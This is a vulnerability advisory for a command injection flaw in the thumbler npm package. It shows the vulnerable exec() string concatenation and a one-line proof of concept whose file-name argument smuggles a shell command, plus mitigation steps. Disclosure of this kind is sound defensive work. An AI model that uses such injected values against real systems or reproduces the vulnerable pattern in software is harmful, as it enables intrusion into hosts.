CVE-2026-26833: OS command injection in thumbler

Summary

thumbler through version 1.1.2 allows OS command injection in thumbnail() in lib/thumbler.js. The package concatenates the input, output, time, and size values into a single ffmpeg command string and executes that string with child_process.exec(). An attacker who controls one of those values can inject shell syntax and run arbitrary commands.

Affected product

Vulnerability details

• CVE ID: CVE-2026-26833
• CWE: CWE-78 - OS Command Injection
• CVSS 3.1: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Affected component: lib/thumbler.js, thumbnail()

The vulnerable code path constructs the following shell string:

exec(
  'ffmpeg -ss ' + time + ' -i "' + input + '" -vframes 1 -s ' +
  size + ' "' + output + '"',
  ...
);

Because the command is assembled as a string, each attacker-controlled field is a possible injection point.

Technical impact

Any service that generates thumbnails from user-controlled media can end up executing commands on the host while calling thumbnail().

Proof of concept

require("thumbler").thumbnail(
  'test.mp4"; id > /tmp/pwned; echo "',
  "/tmp/out.jpg",
  {},
  () => {}
);

Mitigation

No fixed npm release is available at the time of writing.

If you still depend on this package:

1. Do not pass untrusted data into thumbnail().
2. Replace shell-string concatenation with argument-safe process execution.
3. Move to a maintained thumbnail generation library or a fixed fork.

References

• https://www.npmjs.com/package/thumbler
• https://github.com/mmahrous/thumbler
• https://github.com/mmahrous/thumbler/blob/master/lib/thumbler.js